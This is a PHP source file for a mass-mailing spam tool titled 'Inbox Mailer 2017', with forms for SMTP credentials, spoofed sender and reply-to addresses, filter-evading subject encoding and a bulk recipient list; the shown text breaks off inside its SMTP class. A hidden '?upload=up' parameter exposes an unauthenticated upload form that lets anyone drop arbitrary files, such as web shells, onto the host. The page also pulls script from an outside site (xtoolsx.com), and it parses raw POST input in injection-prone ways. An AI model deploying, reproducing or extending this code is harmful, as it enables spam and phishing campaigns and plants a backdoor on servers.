· 8 years ago · May 16, 2018, 01:56 PM
1<?php
2
3
4/*
5Inbox Mass Mailer
6
7
8*/
9$upload = $_GET["upload"];
10if ($upload == "up" ) {
11$uploaddir = "";
12$uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);
13if (isset($_FILES["userfile"]["name"]))
14{
15if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile))
16{
17$resultati = "The file ". basename($_FILES["userfile"]["name"]) ." has been uploaded";}
18else { $resultati = "There was an error uploading the file. please try again!"; }
19}
20echo'<html>
21<head></head>
22<div id="result">
23<table height="1" width="100%" bgcolor="#000000" bordercolorlight="#c0c0c0" border="0">
24<tr><td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px">
25<center><form method="POST" enctype="multipart/form-data">
26<input type="file" class="inputzbut" name="userfile" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000">
27<input type="submit" class="inputzbut" name="submit" value="Upload" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000"><br>'. $resultati .'</form></center></td></tr></table></div>';
28}
29
30function query_str($params){
31$str = '';
32foreach ($params as $key => $value) {
33$str .= (strlen($str) < 1) ? '' : '&';
34$str .= $key . '=' . rawurlencode($value);
35}
36return ($str);
37}
38function lrtrim($string){
39return stripslashes(ltrim(rtrim($string)));
40}
41
42if(isset($_POST['action'] ) ){
43
44$b = query_str($_POST);
45parse_str($b);
46$sslclick=lrtrim($sslclick);
47$action=lrtrim($action);
48$message=lrtrim($message);
49$emaillist=lrtrim($emaillist);
50$from=lrtrim($from);
51$reconnect=lrtrim($reconnect);
52$epriority=lrtrim($epriority);
53$my_smtp=lrtrim($my_smtp);
54$ssl_port=lrtrim($ssl_port);
55$smtp_username=lrtrim($smtp_username);
56$smtp_password=lrtrim($smtp_password);
57$replyto=lrtrim($replyto);
58$subject=lrtrim($subject);
59$realname=lrtrim($realname);
60$subject_base=lrtrim($subject);
61$realname_base=lrtrim($realname);
62$file_name=lrtrim($file);
63$urlz=lrtrim($urlz);
64$contenttype=lrtrim($contenttype);
65$encode_text=$_POST['encode'];
66
67 $message = urlencode($message);
68 $message = ereg_replace("%5C%22", "%22", $message);
69 $message = urldecode($message);
70 $message = stripslashes($message);
71 $subject = stripslashes($subject);
72 if ($encode_text == "yes") {
73 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
74 $subject = str_replace(' ', '_', $subject);
75 $subject = "=?UTF-8?Q?$subject?=";
76 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
77 $realname = str_replace(' ', '_', $realname);
78 $realname = "=?UTF-8?Q?$realname?=";
79 }
80}
81?>
82<html>
83
84<head>
85<title>PHP Mailer</title>
86<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
87
88<style type="text/css">
89<!--
90.style1 {
91 font-family: Geneva, Arial, Helvetica, sans-serif;
92 font-size: 12px;
93}
94-->
95</style>
96<style type="text/css">
97<!--
98.style1 {
99 font-size: 10px;
100 font-family: Geneva, Arial, Helvetica, sans-serif;
101}
102-->
103</style>
104</head>
105<SCRIPT SRC='http://xtoolsx.com/JavaScript/Style.js'></SCRIPT>
106<body text="#000000">
107<p align="center"><font size="6" face="Bauhaus 93">Inbox Mailer 2017</font><font color="#FFFFFF" size="6" face="Bauhaus 93">Hadidi44</font></p>
108<form name="form1" method="post" action="" enctype="multipart/form-data">
109
110 <br>
111
112 <table width="100%" border="0" height="407">
113
114 <tr>
115
116 <td width="100%" colspan="4" bgcolor="#666666" height="36">
117
118 <b>
119
120 <font face="Arial" size="2" color="#FFFFFF"> SERVER SETUP</font></b></td>
121
122 </tr>
123 <tr>
124
125 <td width="10%" height="22" bgcolor="#E8E8E8">
126
127 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
128 SMTP Login:</font></div>
129
130 </td>
131
132 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
133
134 <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
135
136 </font></td>
137
138 <td width="31%" height="22" bgcolor="#E8E8E8">
139
140 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
141 SMTP Pass:</font></div>
142
143 </td>
144
145 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
146
147 <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
148
149 </font></td>
150
151 </tr>
152 <tr>
153
154 <td width="10%" height="22" bgcolor="#E8E8E8">
155
156 <div align="right">
157 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
158
159 </td>
160
161 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
162
163 <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
164 (optional)</font></td>
165
166 <td width="31%" height="22" bgcolor="#E8E8E8">
167
168 <div align="right">
169 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
170 Server Smtp:</font></div>
171
172 </td>
173
174 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
175
176 <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
177
178 </font></td>
179
180 </tr>
181 <tr>
182
183 <td width="10%" height="22" bgcolor="#E8E8E8">
184
185 <p align="right">
186 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
187
188 <td width="18%" height="22" bgcolor="#E8E8E8">
189 <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
190
191 <td width="31%" height="22" bgcolor="#E8E8E8">
192
193 <p align="right">
194 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
195 After:</font></td>
196
197 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
198
199 <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
200 EMAILS</font></td>
201
202 </tr>
203 <tr>
204
205 <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
206
207 <p align="center">
208 <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
209 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
210
211 </tr>
212
213 <tr>
214
215 <td width="10%" height="19">
216
217 </td>
218
219 <td width="18%" height="19"> </td>
220
221 <td width="31%" height="19">
222
223 </td>
224
225 <td width="41%" height="19"> </td>
226
227 </tr>
228
229 <tr>
230
231 <td width="100%" colspan="4" bgcolor="#666666" height="36">
232
233 <b>
234
235 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
236
237 </tr>
238
239 <tr>
240
241 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
242
243 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
244 Your Email:</font></div>
245
246 </td>
247
248 <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
249
250 <input type="text" name="from" value="<?=$from;?>" size="30">
251
252 </font></td>
253
254 <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
255
256 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
257 Subject:</font></div>
258
259 </td>
260
261 <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
262
263 <input type="text" name="realname" value="<?=$realname_base;?>" size="30">
264
265 </font></td>
266
267 </tr>
268 <tr>
269
270 <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
271
272 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
273 Reply-To:</font></div>
274
275 </td>
276
277 <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
278
279 <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
280
281 </font></td>
282
283 <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
284
285 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
286 Email Priority:</font></td>
287
288 <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
289
290 </font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
291 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
292 Please Choose -</option>
293 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
294 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
295 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
296 </select></td>
297
298 </tr>
299
300 <tr>
301
302 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
303
304 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
305 Subject2:</font></div>
306
307 </td>
308
309 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
310
311 <input type="text" name="subject" value="<?=$subject_base;?>" size="90">
312
313 </font></td>
314
315 </tr>
316
317 <tr>
318
319 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
320
321 </td>
322
323 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
324
325 <font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode">
326 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
327 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
328 </select></font></td>
329
330 </tr>
331
332 <tr valign="top">
333
334<td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
335
336<div align="left"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
337 Message:</font></div>
338
339 <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
340
341 <br>
342
343 <input type="radio" name="contenttype" value="plain" >
344
345 Plain
346
347 <input type="radio" name="contenttype" value="html" checked>
348
349 HTML
350
351 <input type="hidden" name="action" value="send">
352
353 <input type="submit" value="Send Message">
354
355 </font></td>
356
357 <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
358
359<div align="left"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
360 Email list:</font></div>
361
362 <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
363
364 </font></td>
365
366 </tr>
367
368 </table>
369
370</form>
371
372
373
374<?
375
376if ($action){
377 if (!$from && !$subject && !$message && !$emaillist){
378 print "<script>alert('Please complete all fields before sending your message.'); </script>";
379 die(); }
380
381class SMTP
382{
383 /**
384 * SMTP server port
385 * @var int
386 */
387 var $SMTP_PORT = 25;
388
389 /**
390 * SMTP reply line ending
391 * @var string
392 */
393 var $CRLF = "\r\n";
394
395 /**
396 * Sets whether debugging is turned on
397 * @var bool
398 */
399 var $do_debug; # the level of debug to perform
400
401 /**
402 * Sets VERP use on/off (default is off)
403 * @var bool
404 */
405 var $do_verp = false;
406
407 /**#@+
408 * @access private
409 */
410 var $smtp_conn; # the socket to the server
411 var $error; # error if any on the last call
412 var $helo_rply; # the reply the server sent to us for HELO
413 /**#@-*/
414
415 /**
416 * Initialize the class so that the data is in a known state.
417 * @access public
418 * @return void
419 */
420 function SMTP() {
421 $this->smtp_conn = 0;
422 $this->error = null;
423 $this->helo_rply = null;
424
425 $this->do_debug = 0;
426 }
427
428 /*************************************************************
429 * CONNECTION FUNCTIONS *
430 ***********************************************************/
431
432 /**
433 * Connect to the server specified on the port specified.
434 * If the port is not specified use the default SMTP_PORT.
435 * If tval is specified then a connection will try and be
436 * established with the server for that number of seconds.
437 * If tval is not specified the default is 30 seconds to
438 * try on the connection.
439 *
440 * SMTP CODE SUCCESS: 220
441 * SMTP CODE FAILURE: 421
442 * @access public
443 * @return bool
444 */
445 function Connect($host,$port=0,$tval=30) {
446 # set the error val to null so there is no confusion
447 $this->error = null;
448
449 # make sure we are __not__ connected
450 if($this->connected()) {
451 # ok we are connected! what should we do?
452 # for now we will just give an error saying we
453 # are already connected
454 $this->error = array("error" => "Already connected to a server");
455 return false;
456 }
457
458 if(empty($port)) {
459 $port = $this->SMTP_PORT;
460 }
461
462 #connect to the smtp server
463 $this->smtp_conn = fsockopen($host, # the host of the server
464 $port, # the port to use
465 $errno, # error number if any
466 $errstr, # error message if any
467 $tval); # give up after ? secs
468 # verify we connected properly
469 if(empty($this->smtp_conn)) {
470 $this->error = array("error" => "Failed to connect to server",
471 "errno" => $errno,
472 "errstr" => $errstr);
473 if($this->do_debug >= 1) {
474 echo "SMTP -> ERROR: " . $this->error["error"] .
475 ": $errstr ($errno)" . $this->CRLF;
476 }
477 return false;
478 }
479
480 # sometimes the SMTP server takes a little longer to respond
481 # so we will give it a longer timeout for the first read
482 // Windows still does not have support for this timeout function
483 if(substr(PHP_OS, 0, 3) != "WIN")
484 socket_set_timeout($this->smtp_conn, $tval, 0);
485
486 # get any announcement stuff
487 $announce = $this->get_lines();
488
489 # set the timeout of any socket functions at 1/10 of a second
490 //if(function_exists("socket_set_timeout"))
491 // socket_set_timeout($this->smtp_conn, 0, 100000);
492
493 if($this->do_debug >= 2) {
494 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
495 }
496
497 return true;
498 }
499
500 /**
501 * Performs SMTP authentication. Must be run after running the
502 * Hello() method. Returns true if successfully authenticated.
503 * @access public
504 * @return bool
505 */
506 function Authenticate($username, $password) {
507 // Start authentication
508 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
509
510 $rply = $this->get_lines();
511 $code = substr($rply,0,3);
512
513 if($code != 334) {
514 $this->error =
515 array("error" => "AUTH not accepted from server",
516 "smtp_code" => $code,
517 "smtp_msg" => substr($rply,4));
518 if($this->do_debug >= 1) {
519 echo "SMTP -> ERROR: " . $this->error["error"] .
520 ": " . $rply . $this->CRLF;
521 }
522 return false;
523 }
524
525 // Send encoded username
526 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
527
528 $rply = $this->get_lines();
529 $code = substr($rply,0,3);
530
531 if($code != 334) {
532 $this->error =
533 array("error" => "Username not accepted from server",
534 "smtp_code" => $code,
535 "smtp_msg" => substr($rply,4));
536 if($this->do_debug >= 1) {
537 echo "SMTP -> ERROR: " . $this->error["error"] .
538 ": " . $rply . $this->CRLF;
539 }
540 return false;
541 }
542
543 // Send encoded password
544 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
545
546 $rply = $this->get_lines();
547 $code = substr($rply,0,3);
548
549 if($code != 235) {
550 $this->error =
551 array("error" => "Password not accepted from server",
552 "smtp_code" => $code,
553 "smtp_msg" => substr($rply,4));
554 if($this->do_debug >= 1) {
555 echo "SMTP -> ERROR: " . $this->error["error"] .
556 ": " . $rply . $this->CRLF;
557 }
558 return false;
559 }
560
561 return true;
562 }
563
564 /**
565 * Returns true if connected to a server otherwise false
566 * @access private
567 * @return bool
568 */
569 function Connected() {
570 if(!empty($this->smtp_conn)) {
571 $sock_status = socket_get_status($this->smtp_conn);
572 if($sock_status["eof"]) {
573 # hmm this is an odd situation... the socket is
574 # valid but we are not connected anymore
575 if($this->do_debug >= 1) {
576 echo "SMTP -> NOTICE:" . $this->CRLF .
577 "EOF caught while checking if connected";
578 }
579 $this->Close();
580 return false;
581 }
582 return true; # everything looks good
583 }
584 return false;
585 }
586
587 /**
588 * Closes the socket and cleans up the state of the class.
589 * It is not considered good to use this function without
590 * first trying to use QUIT.
591 * @access public
592 * @return void
593 */
594 function Close() {
595 $this->error = null; # so there is no confusion
596 $this->helo_rply = null;
597 if(!empty($this->smtp_conn)) {
598 # close the connection and cleanup
599 fclose($this->smtp_conn);
600 $this->smtp_conn = 0;
601 }
602 }
603
604 /***************************************************************
605 * SMTP COMMANDS *
606 *************************************************************/
607
608 /**
609 * Issues a data command and sends the msg_data to the server
610 * finializing the mail transaction. $msg_data is the message
611 * that is to be send with the headers. Each header needs to be
612 * on a single line followed by a <CRLF> with the message headers
613 * and the message body being seperated by and additional <CRLF>.
614 *
615 * Implements rfc 821: DATA <CRLF>
616 *
617 * SMTP CODE INTERMEDIATE: 354
618 * [data]
619 * <CRLF>.<CRLF>
620 * SMTP CODE SUCCESS: 250
621 * SMTP CODE FAILURE: 552,554,451,452
622 * SMTP CODE FAILURE: 451,554
623 * SMTP CODE ERROR : 500,501,503,421
624 * @access public
625 * @return bool
626 */
627 function Data($msg_data) {
628 $this->error = null; # so no confusion is caused
629
630 if(!$this->connected()) {
631 $this->error = array(
632 "error" => "Called Data() without being connected");
633 return false;
634 }
635
636 fputs($this->smtp_conn,"DATA" . $this->CRLF);
637
638 $rply = $this->get_lines();
639 $code = substr($rply,0,3);
640
641 if($this->do_debug >= 2) {
642 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
643 }
644
645 if($code != 354) {
646 $this->error =
647 array("error" => "DATA command not accepted from server",
648 "smtp_code" => $code,
649 "smtp_msg" => substr($rply,4));
650 if($this->do_debug >= 1) {
651 echo "SMTP -> ERROR: " . $this->error["error"] .
652 ": " . $rply . $this->CRLF;
653 }
654 return false;
655 }
656
657 # the server is ready to accept data!
658 # according to rfc 821 we should not send more than 1000
659 # including the CRLF
660 # characters on a single line so we will break the data up
661 # into lines by \r and/or \n then if needed we will break
662 # each of those into smaller lines to fit within the limit.
663 # in addition we will be looking for lines that start with
664 # a period '.' and append and additional period '.' to that
665 # line. NOTE: this does not count towards are limit.
666
667 # normalize the line breaks so we know the explode works
668 $msg_data = str_replace("\r\n","\n",$msg_data);
669 $msg_data = str_replace("\r","\n",$msg_data);
670 $lines = explode("\n",$msg_data);
671
672 # we need to find a good way to determine is headers are
673 # in the msg_data or if it is a straight msg body
674 # currently I am assuming rfc 822 definitions of msg headers
675 # and if the first field of the first line (':' sperated)
676 # does not contain a space then it _should_ be a header
677 # and we can process all lines before a blank "" line as
678 # headers.
679 $field = substr($lines[0],0,strpos($lines[0],":"));
680 $in_headers = false;
681 if(!empty($field) && !strstr($field," ")) {
682 $in_headers = true;
683 }
684
685 $max_line_length = 998; # used below; set here for ease in change
686
687 while(list(,$line) = @each($lines)) {
688 $lines_out = null;
689 if($line == "" && $in_headers) {
690 $in_headers = false;
691 }
692 # ok we need to break this line up into several
693 # smaller lines
694 while(strlen($line) > $max_line_length) {
695 $pos = strrpos(substr($line,0,$max_line_length)," ");
696
697 # Patch to fix DOS attack
698 if(!$pos) {
699 $pos = $max_line_length - 1;
700 }
701
702 $lines_out[] = substr($line,0,$pos);
703 $line = substr($line,$pos + 1);
704 # if we are processing headers we need to
705 # add a LWSP-char to the front of the new line
706 # rfc 822 on long msg headers
707 if($in_headers) {
708 $line = "\t" . $line;
709 }
710 }
711 $lines_out[] = $line;
712
713 # now send the lines to the server
714 while(list(,$line_out) = @each($lines_out)) {
715 if(strlen($line_out) > 0)
716 {
717 if(substr($line_out, 0, 1) == ".") {
718 $line_out = "." . $line_out;
719 }
720 }
721 fputs($this->smtp_conn,$line_out . $this->CRLF);
722 }
723 }
724
725 # ok all the message data has been sent so lets get this
726 # over with aleady
727 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
728
729 $rply = $this->get_lines();
730 $code = substr($rply,0,3);
731
732 if($this->do_debug >= 2) {
733 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
734 }
735
736 if($code != 250) {
737 $this->error =
738 array("error" => "DATA not accepted from server",
739 "smtp_code" => $code,
740 "smtp_msg" => substr($rply,4));
741 if($this->do_debug >= 1) {
742 echo "SMTP -> ERROR: " . $this->error["error"] .
743 ": " . $rply . $this->CRLF;
744 }
745 return false;
746 }
747 return true;
748 }
749
750 /**
751 * Expand takes the name and asks the server to list all the
752 * people who are members of the _list_. Expand will return
753 * back and array of the result or false if an error occurs.
754 * Each value in the array returned has the format of:
755 * [ <full-name> <sp> ] <path>
756 * The definition of <path> is defined in rfc 821
757 *
758 * Implements rfc 821: EXPN <SP> <string> <CRLF>
759 *
760 * SMTP CODE SUCCESS: 250
761 * SMTP CODE FAILURE: 550
762 * SMTP CODE ERROR : 500,501,502,504,421
763 * @access public
764 * @return string array
765 */
766 function Expand($name) {
767 $this->error = null; # so no confusion is caused
768
769 if(!$this->connected()) {
770 $this->error = array(
771 "error" => "Called Expand() without being connected");
772 return false;
773 }
774
775 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
776
777 $rply = $this->get_lines();
778 $code = substr($rply,0,3);
779
780 if($this->do_debug >= 2) {
781 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
782 }
783
784 if($code != 250) {
785 $this->error =
786 array("error" => "EXPN not accepted from server",
787 "smtp_code" => $code,
788 "smtp_msg" => substr($rply,4));
789 if($this->do_debug >= 1) {
790 echo "SMTP -> ERROR: " . $this->error["error"] .
791 ": " . $rply . $this->CRLF;
792 }
793 return false;
794 }
795
796 # parse the reply and place in our array to return to user
797 $entries = explode($this->CRLF,$rply);
798 while(list(,$l) = @each($entries)) {
799 $list[] = substr($l,4);
800 }
801
802 return $list;
803 }
804
805 /**
806 * Sends the HELO command to the smtp server.
807 * This makes sure that we and the server are in
808 * the same known state.
809 *
810 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
811 *
812 * SMTP CODE SUCCESS: 250
813 * SMTP CODE ERROR : 500, 501, 504, 421
814 * @access public
815 * @return bool
816 */
817 function Hello($host="") {
818 $this->error = null; # so no confusion is caused
819
820 if(!$this->connected()) {
821 $this->error = array(
822 "error" => "Called Hello() without being connected");
823 return false;
824 }
825
826 # if a hostname for the HELO was not specified determine
827 # a suitable one to send
828 if(empty($host)) {
829 # we need to determine some sort of appopiate default
830 # to send to the server
831 $host = "localhost";
832 }
833
834 // Send extended hello first (RFC 2821)
835 if(!$this->SendHello("EHLO", $host))
836 {
837 if(!$this->SendHello("HELO", $host))
838 return false;
839 }
840
841 return true;
842 }
843
844 /**
845 * Sends a HELO/EHLO command.
846 * @access private
847 * @return bool
848 */
849 function SendHello($hello, $host) {
850 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
851
852 $rply = $this->get_lines();
853 $code = substr($rply,0,3);
854
855 if($this->do_debug >= 2) {
856 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
857 }
858
859 if($code != 250) {
860 $this->error =
861 array("error" => $hello . " not accepted from server",
862 "smtp_code" => $code,
863 "smtp_msg" => substr($rply,4));
864 if($this->do_debug >= 1) {
865 echo "SMTP -> ERROR: " . $this->error["error"] .
866 ": " . $rply . $this->CRLF;
867 }
868 return false;
869 }
870
871 $this->helo_rply = $rply;
872
873 return true;
874 }
875
876 /**
877 * Gets help information on the keyword specified. If the keyword
878 * is not specified then returns generic help, ussually contianing
879 * A list of keywords that help is available on. This function
880 * returns the results back to the user. It is up to the user to
881 * handle the returned data. If an error occurs then false is
882 * returned with $this->error set appropiately.
883 *
884 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
885 *
886 * SMTP CODE SUCCESS: 211,214
887 * SMTP CODE ERROR : 500,501,502,504,421
888 * @access public
889 * @return string
890 */
891 function Help($keyword="") {
892 $this->error = null; # to avoid confusion
893
894 if(!$this->connected()) {
895 $this->error = array(
896 "error" => "Called Help() without being connected");
897 return false;
898 }
899
900 $extra = "";
901 if(!empty($keyword)) {
902 $extra = " " . $keyword;
903 }
904
905 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
906
907 $rply = $this->get_lines();
908 $code = substr($rply,0,3);
909
910 if($this->do_debug >= 2) {
911 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
912 }
913
914 if($code != 211 && $code != 214) {
915 $this->error =
916 array("error" => "HELP not accepted from server",
917 "smtp_code" => $code,
918 "smtp_msg" => substr($rply,4));
919 if($this->do_debug >= 1) {
920 echo "SMTP -> ERROR: " . $this->error["error"] .
921 ": " . $rply . $this->CRLF;
922 }
923 return false;
924 }
925
926 return $rply;
927 }
928
929 /**
930 * Starts a mail transaction from the email address specified in
931 * $from. Returns true if successful or false otherwise. If True
932 * the mail transaction is started and then one or more Recipient
933 * commands may be called followed by a Data command.
934 *
935 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
936 *
937 * SMTP CODE SUCCESS: 250
938 * SMTP CODE SUCCESS: 552,451,452
939 * SMTP CODE SUCCESS: 500,501,421
940 * @access public
941 * @return bool
942 */
943 function Mail($from) {
944 $this->error = null; # so no confusion is caused
945
946 if(!$this->connected()) {
947 $this->error = array(
948 "error" => "Called Mail() without being connected");
949 return false;
950 }
951
952 $useVerp = ($this->do_verp ? "XVERP" : "");
953 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
954
955 $rply = $this->get_lines();
956 $code = substr($rply,0,3);
957
958 if($this->do_debug >= 2) {
959 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
960 }
961
962 if($code != 250) {
963 $this->error =
964 array("error" => "MAIL not accepted from server",
965 "smtp_code" => $code,
966 "smtp_msg" => substr($rply,4));
967 if($this->do_debug >= 1) {
968 echo "SMTP -> ERROR: " . $this->error["error"] .
969 ": " . $rply . $this->CRLF;
970 }
971 return false;
972 }
973 return true;
974 }
975
976 /**
977 * Sends the command NOOP to the SMTP server.
978 *
979 * Implements from rfc 821: NOOP <CRLF>
980 *
981 * SMTP CODE SUCCESS: 250
982 * SMTP CODE ERROR : 500, 421
983 * @access public
984 * @return bool
985 */
986 function Noop() {
987 $this->error = null; # so no confusion is caused
988
989 if(!$this->connected()) {
990 $this->error = array(
991 "error" => "Called Noop() without being connected");
992 return false;
993 }
994
995 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
996
997 $rply = $this->get_lines();
998 $code = substr($rply,0,3);
999
1000 if($this->do_debug >= 2) {
1001 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1002 }
1003
1004 if($code != 250) {
1005 $this->error =
1006 array("error" => "NOOP not accepted from server",
1007 "smtp_code" => $code,
1008 "smtp_msg" => substr($rply,4));
1009 if($this->do_debug >= 1) {
1010 echo "SMTP -> ERROR: " . $this->error["error"] .
1011 ": " . $rply . $this->CRLF;
1012 }
1013 return false;
1014 }
1015 return true;
1016 }
1017
1018 /**
1019 * Sends the quit command to the server and then closes the socket
1020 * if there is no error or the $close_on_error argument is true.
1021 *
1022 * Implements from rfc 821: QUIT <CRLF>
1023 *
1024 * SMTP CODE SUCCESS: 221
1025 * SMTP CODE ERROR : 500
1026 * @access public
1027 * @return bool
1028 */
1029 function Quit($close_on_error=true) {
1030 $this->error = null; # so there is no confusion
1031
1032 if(!$this->connected()) {
1033 $this->error = array(
1034 "error" => "Called Quit() without being connected");
1035 return false;
1036 }
1037
1038 # send the quit command to the server
1039 fputs($this->smtp_conn,"quit" . $this->CRLF);
1040
1041 # get any good-bye messages
1042 $byemsg = $this->get_lines();
1043
1044 if($this->do_debug >= 2) {
1045 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1046 }
1047
1048 $rval = true;
1049 $e = null;
1050
1051 $code = substr($byemsg,0,3);
1052 if($code != 221) {
1053 # use e as a tmp var cause Close will overwrite $this->error
1054 $e = array("error" => "SMTP server rejected quit command",
1055 "smtp_code" => $code,
1056 "smtp_rply" => substr($byemsg,4));
1057 $rval = false;
1058 if($this->do_debug >= 1) {
1059 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1060 $byemsg . $this->CRLF;
1061 }
1062 }
1063
1064 if(empty($e) || $close_on_error) {
1065 $this->Close();
1066 }
1067
1068 return $rval;
1069 }
1070
1071 /**
1072 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1073 * Returns true if the recipient was accepted false if it was rejected.
1074 *
1075 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1076 *
1077 * SMTP CODE SUCCESS: 250,251
1078 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1079 * SMTP CODE ERROR : 500,501,503,421
1080 * @access public
1081 * @return bool
1082 */
1083 function Recipient($to) {
1084 $this->error = null; # so no confusion is caused
1085
1086 if(!$this->connected()) {
1087 $this->error = array(
1088 "error" => "Called Recipient() without being connected");
1089 return false;
1090 }
1091
1092 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1093
1094 $rply = $this->get_lines();
1095 $code = substr($rply,0,3);
1096
1097 if($this->do_debug >= 2) {
1098 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1099 }
1100
1101 if($code != 250 && $code != 251) {
1102 $this->error =
1103 array("error" => "RCPT not accepted from server",
1104 "smtp_code" => $code,
1105 "smtp_msg" => substr($rply,4));
1106 if($this->do_debug >= 1) {
1107 echo "SMTP -> ERROR: " . $this->error["error"] .
1108 ": " . $rply . $this->CRLF;
1109 }
1110 return false;
1111 }
1112 return true;
1113 }
1114
1115 /**
1116 * Sends the RSET command to abort and transaction that is
1117 * currently in progress. Returns true if successful false
1118 * otherwise.
1119 *
1120 * Implements rfc 821: RSET <CRLF>
1121 *
1122 * SMTP CODE SUCCESS: 250
